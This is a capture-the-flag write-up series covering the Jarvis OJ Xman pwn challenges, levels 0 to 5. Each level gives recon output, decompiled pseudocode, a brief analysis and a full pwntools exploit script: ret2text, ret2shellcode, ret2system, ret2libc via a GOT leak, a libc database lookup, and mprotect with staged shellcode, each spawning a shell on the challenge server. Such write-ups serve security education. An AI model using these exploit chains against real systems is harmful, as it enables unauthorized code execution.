Jarvis OJ Pwn Xman Series
{"author": ["ret2basic"]}

Xman Level 0 (ret2text)

Recon

1
$ file level0
2
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
Copied!
1
$ checksec level0
2
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_0/level0'
3
Arch: amd64-64-little
4
RELRO: No RELRO
5
Stack: No canary found
6
NX: NX enabled
7
PIE: No PIE (0x400000)
Copied!

Pseudocode

main:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
write(1, "Hello, World\n", 0xDuLL);
4
return vulnerable_function();
5
}
Copied!
vulnerable_function:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [rsp+0h] [rbp-80h]
4
5
return read(0, &buf, 0x200uLL);
6
}
Copied!
callsystem:
1
int callsystem()
2
{
3
return system("/bin/sh");
4
}
Copied!

Analysis

Basic ret2text.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------setup--------#
5
6
context(arch="amd64", os="linux")
7
8
elf = ELF("level0", checksec=False)
9
local = False
10
11
if local:
12
r = elf.process()
13
else:
14
host = "pwn2.jarvisoj.com"
15
port = 9881
16
r = remote(host, port)
17
18
#--------ret2text--------#
19
20
offset = 136
21
callsystem = elf.sym["callsystem"]
22
23
payload = flat(
24
b"A" * offset,
25
callsystem,
26
)
27
28
r.sendlineafter("Hello, World\n", payload)
29
r.interactive()
Copied!

Xman Level 1 (ret2shellcode)

Recon

1
$ file level1
2
level1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped
Copied!
1
$ checksec level1
2
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_1/level1'
3
Arch: i386-32-little
4
RELRO: Partial RELRO
5
Stack: No canary found
6
NX: NX disabled
7
PIE: No PIE (0x8048000)
8
RWX: Has RWX segments
Copied!

Pseudocode

main:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function();
4
write(1, "Hello, World!\n", 0xEu);
5
return 0;
6
}
Copied!
vulnerable_function:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [esp+0h] [ebp-88h]
4
5
printf("What's this:%p?\n", &buf);
6
return read(0, &buf, 0x100u);
7
}
Copied!

Analysis

The absence of NX makes this binary vulnerable to ret2shellcode. Since we are allowed to write 0x100 bytes into buf, the pwntools' built-in shellcode suffices.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------setup--------#
5
6
context(arch="i386", os="linux")
7
8
elf = ELF("level1", checksec=False)
9
local = False
10
11
if local:
12
r = elf.process()
13
else:
14
host = "pwn2.jarvisoj.com"
15
port = 9877
16
r = remote(host, port)
17
18
#--------ret2shellcode--------#
19
20
r.readuntil("What's this:").decode()
21
buf_addr = int(r.read(10), 16)
22
log.info(f"buf_addr: {hex(buf_addr)}")
23
24
offset = 140
25
shellcode = asm(shellcraft.sh())
26
27
payload = flat(
28
shellcode.ljust(offset, b"\x90"),
29
buf_addr,
30
)
31
32
r.sendlineafter("?\n", payload)
33
r.interactive()
Copied!

Xman Level 2 x86 (ret2system)

Recon

1
$ file level2
2
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped
Copied!
1
$ checksec level2
2
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_2_x86/level2'
3
Arch: i386-32-little
4
RELRO: Partial RELRO
5
Stack: No canary found
6
NX: NX enabled
7
PIE: No PIE (0x8048000)
Copied!

Pseudocode

main:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function();
4
system("echo 'Hello World!'");
5
return 0;
6
}
Copied!
vulnerable_function:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [esp+0h] [ebp-88h]
4
5
system("echo Input:");
6
return read(0, &buf, 0x100u);
7
}
Copied!

Analysis

Since NX is enabled, we can't do ret2shellcode this time because the shellcode stored on stack won't be executed. Instead, we use ret2system since it is one of the standard methods for bypassing NX. Note that both system and /bin/sh are provided in the binary:
1
$ ROPgadget --binary level2 --string "system"
2
Strings information
3
============================================================
4
0x0804824b : system
Copied!
1
$ ROPgadget --binary level2 --string "/bin/sh"
2
Strings information
3
============================================================
4
0x0804a024 : /bin/sh
Copied!
Hence we can call system("/bin/sh") directly. This is the easiest type of libc.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------setup--------#
5
6
context(arch="i386", os="linux")
7
8
elf = ELF("level2", checksec=False)
9
local = False
10
11
if local:
12
r = elf.process()
13
else:
14
host = "pwn2.jarvisoj.com"
15
port = 9878
16
r = remote(host, port)
17
18
#--------ret2system--------#
19
20
offset = 140
21
system = elf.plt["system"]
22
bin_sh = next(elf.search(b"/bin/sh\x00"))
23
24
payload = flat(
25
b"A" * offset,
26
system,
27
b"B" * 4, # return address for system()
28
bin_sh, # argument for system()
29
)
30
31
r.sendlineafter("Input:\n", payload)
32
r.interactive()
Copied!

Xman Level 2 x64 (64-bit Calling Convention)

Recon

1
$ file level2_x64
2
level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17f0f0026ee70f2e0c8c600edcbe06862a9845bd, not stripped
Copied!
1
$ checksec level2_x64
2
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_2_x64/level2_x64'
3
Arch: amd64-64-little
4
RELRO: No RELRO
5
Stack: No canary found
6
NX: NX enabled
7
PIE: No PIE (0x400000)
Copied!

Pseudocode

main:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function(argc, argv, envp);
4
return system("echo 'Hello World!'");
5
}
Copied!
vulnerable_function:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [rsp+0h] [rbp-80h]
4
5
system("echo Input:");
6
return read(0, &buf, 0x200uLL);
7
}
Copied!

Analysis

This time we are dealing with x64 architecture. The major distinction between x86 and x64 is different calling conventions. In x86, the function arguments are stored on the stack. In x64, the first 6 function arguments are stored in registers, in the following order:
    1.
    RDI
    2.
    RSI
    3.
    RDX
    4.
    RCX
    5.
    R8
    6.
    R9
If there are more arguments, the extra ones will be stored on the stack.
To pass /bin/sh as the argument for system, we need to store /bin/sh in rdi. This can be done with the pop rdi gadget:
1
$ ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
2
0x00000000004006b3 : pop rdi ; ret
Copied!

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------setup--------#
5
6
context(arch="amd64", os="linux")
7
8
elf = ELF("level2_x64", checksec=False)
9
local = False
10
11
if local:
12
r = elf.process()
13
else:
14
host = "pwn2.jarvisoj.com"
15
port = 9882
16
r = remote(host, port)
17
18
#--------ret2system--------#
19
20
offset = 136
21
# ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
22
pop_rdi = 0x00000000004006b3
23
bin_sh = next(elf.search(b"/bin/sh\x00"))
24
system = elf.plt["system"]
25
26
payload = flat(
27
b"A" * offset,
28
pop_rdi, bin_sh, # pop "/bin/sh" to rdi
29
system, # call system("/bin/sh")
30
)
31
32
r.sendlineafter("Input:\n", payload)
33
r.interactive()
Copied!

Xman Level 3 x86 (ret2libc)

Recon

1
$ file level3
2
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
Copied!
1
$ checksec level3
2
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_3/level3'
3
Arch: i386-32-little
4
RELRO: Partial RELRO
5
Stack: No canary found
6
NX: NX enabled
7
PIE: No PIE (0x8048000)
Copied!

Pseudocode

main:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function();
4
write(1, "Hello, World!\n", 0xEu);
5
return 0;
6
}
Copied!
vulnerable_function:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [esp+0h] [ebp-88h]
4
5
write(1, "Input:\n", 7u);
6
return read(0, &buf, 0x100u);
7
}
Copied!

Analysis

No more system provided in binary this time, so we need to leak an address (write_got in this case) from the GOT table and then calculate the libc base address based on this leaked address. Once we have the libc base address, we are able to deduce the addresses of system and /bin/sh in libc.
The candidates of this leaking phase include puts, write or printf. They will be called ret2puts, ret2write and ret2printf, respectively. Usually we want to do ret2puts, but since there is no [email protected] or [email protected] in this binary, the only choice left for us is ret2write.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------setup--------#
5
6
context(arch="i386", os="linux")
7
8
elf = ELF("level3", checksec=False)
9
local = False
10
11
if local:
12
libc = elf.libc
13
r = elf.process()
14
else:
15
libc = ELF("libc-2.19.so")
16
host = "pwn2.jarvisoj.com"
17
port = 9879
18
r = remote(host, port)
19
20
#--------ret2write--------#
21
22
offset = 140
23
write_plt = elf.plt["write"]
24
vulnerable_function = elf.sym["vulnerable_function"]
25
write_got = elf.got["write"]
26
27
payload = flat(
28
b"A" * offset,
29
write_plt, # call write(1, write_got, 4)
30
vulnerable_function, # return address for write()
31
1, write_got, 4, # arguments for write()
32
)
33
"""
34
Here 1 is fd (stdout), 4 is the # bytes to write
35
"""
36
37
r.sendlineafter("Input:\n", payload)
38
write_leak = u32(r.read(4))
39
write_offset = libc.sym["write"]
40
libc.address = write_leak - write_offset
41
42
log.info(f"write_leak: {hex(write_leak)}")
43
log.info(f"write_offset: {hex(write_offset)}")
44
log.info(f"libc.address: {hex(libc.address)}")
45
46
#--------ret2libc-------#
47
48
system = libc.sym["system"]
49
bin_sh = next(libc.search(b"/bin/sh\x00"))
50
"""
51
since libc.address was defined,
52
the above two address are adjusted automatically.
53
"""
54
55
payload = flat(
56
b"A" * offset,
57
system,
58
b"B" * 4, # return address for system
59
bin_sh, # argument for system
60
)
61
62
r.sendlineafter("Input:\n", payload)
63
r.interactive()
Copied!

Xman Level 3 x64 (ret2libc)

Recon

1
$ file level3_x64
2
level3_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
Copied!
1
$ checksec level3_x64
2
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_3_x64/level3_x64'
3
Arch: amd64-64-little
4
RELRO: No RELRO
5
Stack: No canary found
6
NX: NX enabled
7
PIE: No PIE (0x400000)
Copied!

Pseudocode

main:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function(argc, argv, envp);
4
return write(1, "Hello, World!\n", 0xEuLL);
5
}
Copied!
vulnerable:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [rsp+0h] [rbp-80h]
4
5
write(1, "Input:\n", 7uLL);
6
return read(0, &buf, 0x200uLL);
7
}
Copied!

Analysis

We need gadgets pop rdi, pop rsi and pop rdx this time. We can find pop rdi ; ret in the binary:
1
$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
2
0x00000000004006b3 : pop rdi ; ret
Copied!
However, we can't find an independent gadget like pop rsi; ret. The good news is pop rsi ; pop r15 ; ret could be used as an alternative:
1
$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
2
0x00000000004006b1 : pop rsi ; pop r15 ; ret
Copied!
Here we simply pass a junk value into r15, so this gadget would do the same job as pop rsi ; ret.
We still need pop rdx ; ret. However, this gadget is not present in the binary. It doesn't really matter because the value stored in rdx is greater than 6 at the moment write gets called. This is just what we want since the address of [email protected] won't be longer than 6 bytes. As a result, we don't have to set the value of rdx on ourselves, so just ignore it.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------setup--------#
5
6
context(arch="amd64", os="linux")
7
8
elf = ELF("level3_x64", checksec=False)
9
local = False
10
11
if local:
12
libc = elf.libc
13
r = elf.process()
14
else:
15
libc = ELF("libc-2.19.so")
16
host = "pwn2.jarvisoj.com"
17
port = 9883
18
r = remote(host, port)
19
20
#--------ret2write--------#
21
22
offset = 136
23
write_plt = elf.plt["write"]
24
vulnerable_function = elf.sym["vulnerable_function"]
25
write_got = elf.got["write"]
26
27
# ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
28
pop_rdi = 0x00000000004006b3
29
# ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
30
pop_rsi_r15 = 0x00000000004006b1
31
32
payload = flat(
33
b"A" * offset,
34
pop_rdi, 1,
35
pop_rsi_r15, write_got, 1337, # 1337 is just some junk value that gets popped to r15
36
write_plt, # call write(1, write_got, [rdx])
37
vulnerable_function, # return address for write
38
)
39
40
r.sendlineafter("Input:\n", payload)
41
write_leak = u64(r.read(8))
42
write_offset = libc.sym["write"]
43
libc.address = write_leak - write_offset
44
45
log.info(f"write_leak: {hex(write_leak)}")
46
log.info(f"write_offset: {hex(write_offset)}")
47
log.info(f"libc.address: {hex(libc.address)}")
48
49
#--------ret2libc-------#
50
51
system = libc.sym["system"]
52
bin_sh = next(libc.search(b"/bin/sh\x00"))
53
54
payload = flat(
55
b"A" * offset,
56
pop_rdi, bin_sh,
57
system, # call system("/bin/sh")
58
)
59
60
r.sendlineafter("Input:\n", payload)
61
r.interactive()
Copied!

Xman Level 4 (Libc Database)

Recon

1
$ file level4
2
level4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44cfbcb6b7104566b4b70e843bc97c0609b7a018, not stripped
Copied!
1
$ checksec level4
2
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_4/level4'
3
Arch: i386-32-little
4
RELRO: Partial RELRO
5
Stack: No canary found
6
NX: NX enabled
7
PIE: No PIE (0x8048000)
Copied!

Pseudocode

main:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function();
4
write(1, "Hello, World!\n", 0xEu);
5
return 0;
6
}
Copied!
vulnerable_function:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [esp+0h] [ebp-88h]
4
5
return read(0, &buf, 0x100u);
6
}
Copied!

Analysis

The libc file is not given this time, but that's not a problem. We can always query the leaked address from libc database and figure out the libc version as well as the corresponding libc function offsets (relative to the libc base address).

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------setup--------#
5
6
context(arch="i386", os="linux")
7
8
elf = ELF("level4", checksec=False)
9
local = False
10
11
if local:
12
r = elf.process()
13
else:
14
host = "pwn2.jarvisoj.com"
15
port = 9880
16
r = remote(host, port)
17
18
#--------ret2write--------#
19
20
offset = 140
21
write_plt = elf.plt["write"]
22
vulnerable_function = elf.sym["vulnerable_function"]
23
write_got = elf.got["write"]
24
25
payload = flat(
26
b"A" * offset,
27
write_plt,
28
vulnerable_function, # return address for write()
29
1, write_got, 4, # arguments for write()
30
)
31
32
r.sendline(payload)
33
write_leak = u32(r.read(4))
34
log.info(f"write_leak: {hex(write_leak)}")
35
36
#--------libc database--------#
37
38
# libc database (https://libc.rip/)
39
# libc version: libc6_2.19-18+deb8u10_i386
40
write_offset = 0x0c8880
41
libc_base_address = write_leak - write_offset
42
43
system_offset = 0x03de80
44
bin_sh_offset = 0x12dc51
45
46
#--------ret2libc--------#
47
48
system = libc_base_address + system_offset
49
bin_sh = libc_base_address + bin_sh_offset
50
51
payload = flat(
52
b"A" * offset,
53
system,
54
b"B" * 4, # return address for system()
55
bin_sh, # argument for system()
56
)
57
58
r.sendline(payload)
59
r.interactive()
Copied!

Xman Level 5 (mprotect)

Recon

1
$ file level5
2
level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
Copied!
1
$ checksec level5
2
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_5/level5'
3
Arch: amd64-64-little
4
RELRO: No RELRO
5
Stack: No canary found
6
NX: NX enabled
7
PIE: No PIE (0x400000)
Copied!

Pseudocode

main:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
vulnerable_function(argc, argv, envp);
4
return write(1, "Hello, World!\n", 0xEuLL);
5
}
Copied!
vulnerable:
1
ssize_t vulnerable_function()
2
{
3
char buf; // [rsp+0h] [rbp-80h]
4
5
write(1, "Input:\n", 7uLL);
6
return read(0, &buf, 0x200uLL);
7
}
Copied!

Analysis

In this challenge, system and execve are disabled (at least we pretend that they are disabled) and we are supposed to use mmap or mprotect. Using mprotect is the easier route. The exploit splits into three phases:
    1.
    Leak the address of write_got, calculate libc base address and then deduce the address of mprotect.
    2.
    Call mprotect to give the .bss segment rwx permission.
    3.
    Call read to start a stdin session and input our shellcode to the .bss segment. Set the return address of read to be the address of .bss segment so the shellcode gets triggered.
Phase 1 is essentially the same as Level 3 (x64).
Phase 2 is something new. Here we want to call mprotect(void *addr, size_t len, int prot), where:
    addr is the address of the buffer.
    len is the length of the buffer. Say it is 0x1000, which is more than enough.
    prot is the permission that we want that buffer to have, which is 7 = 0b111 = rwx in this case.
Phase 3 is a slightly advanced version of ret2shellcode: multi-stage shellcode. In stage 1, we call the read() function to open a STDIN session. In stage 2, we input the /bin/sh shellcode from STDIN, and get shell.
In stage 1, we use ROP to call read(int fd, void *buf, size_t nbyte), where:
    fd should be 0 since we want stdin.
    buf is the address of the buffer. We will use elf.bss() here, which is the beginning of the .bss segment.
    nbyte is the length of our input. Let's say it's 0x100, which is more than enough.
In stage 2, we can input our shellcode from STDIN. If the return address of read is set to be elf.bss(), the shellcode will be triggered and we would get shell.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------setup--------#
5
6
context(arch="amd64", os="linux")
7
8
elf = ELF("level5", checksec=False)
9
local = False
10
11
if local:
12
libc = elf.libc
13
r = elf.process()
14
else:
15
libc = ELF("libc-2.19.so")
16
host = "pwn2.jarvisoj.com"
17
port = 9884
18
r = remote(host, port)
19
20
#--------phase 1: ret2write--------#
21
22
offset = 136
23
write_plt = elf.plt["write"]
24
vulnerable_function = elf.sym["vulnerable_function"]
25
write_got = elf.got["write"]
26
27
# ROPgadget --binary level5 --only "pop|ret" | grep rdi
28
pop_rdi = 0x00000000004006b3
29
# ROPgadget --binary level5 --only "pop|ret" | grep rsi
30
pop_rsi_pop_r15 = 0x00000000004006b1
31
32
payload = flat(
33
b"A" * offset,
34
pop_rdi, 1,
35
pop_rsi_pop_r15, write_got, 1337,
36
write_plt, # call write(1, write_got, [rdx])
37
vulnerable_function, # return address for write()
38
)
39
40
r.sendlineafter("Input:\n", payload)
41
write_leak = u64(r.read(6).ljust(8, b"\x00"))
42
write_offset = libc.sym["write"]
43
libc.address = write_leak - write_offset
44
45
log.info(f"write_leak: {hex(write_leak)}")
46
log.info(f"write_offset: {hex(write_offset)}")
47
log.info(f"libc.address: {hex(libc.address)}")
48
49
#--------phase 2: mprotect--------#
50
51
# $ man 2 mprotect:
52
# mprotect(void *addr, size_t len, int prot)
53
# mprotect() changes the access protections for the calling process's memory
54
# pages containing any part of the address range in the interval
55
# [addr, addr+len-1]. addr must be aligned to a page boundary.
56
57
mprotect = libc.sym["mprotect"]
58
# The address of mproject is auto adjusted
59
# since libc.address was set. Also, since we
60
# know the libc base address, we can use
61
# gadgets from libc from now on.
62
63
# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rsi
64
pop_rsi = libc.address + 0x0000000000024885
65
# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rdx
66
pop_rdx = libc.address + 0x0000000000000286
67
68
log.info(f"elf.bss(): {hex(elf.bss())}")
69
# We have elf.bss() = 0x600a88.
70
# Note that the first argument of mprotect
71
# must be an integer multiple of page size.
72
# $ getconf PAGE_SIZE
73
# 4096
74
# Hence addr = k * 0x1000, so we can pick
75
# addr = 0x600000
76
77
payload = flat(
78
b"A" * offset,
79
pop_rdi, 0x600000, # addr
80
pop_rsi, 0x1000, # len
81
pop_rdx, 7, # prot (7 = 0b111 = rwx)
82
mprotect, # call mprotect(0x600000, 0x1000, 7)
83
vulnerable_function, # return address for mprotect()
84
)
85
86
r.sendlineafter("Input:\n", payload)
87
88
#--------phase 3: ret2shellcode-------#
89
90
read = elf.plt["read"]
91
shellcode = asm(shellcraft.sh())
92
93
payload = flat(
94
b"A" * offset,
95
pop_rdi, 0, # fd (0 = stdin)
96
pop_rsi, elf.bss(), # buf
97
pop_rdx, 0x100, # nbyte
98
read, # call read(0, elf.bss(), 0x100)
99
elf.bss(), # return address for read()
100
)
101
102
r.sendlineafter("Input:\n", payload)
103
r.sendline(shellcode) # the stdin session initiated by the read() function
104
r.interactive()
Copied!

Xman Level 6

Todo!
Last modified 6mo ago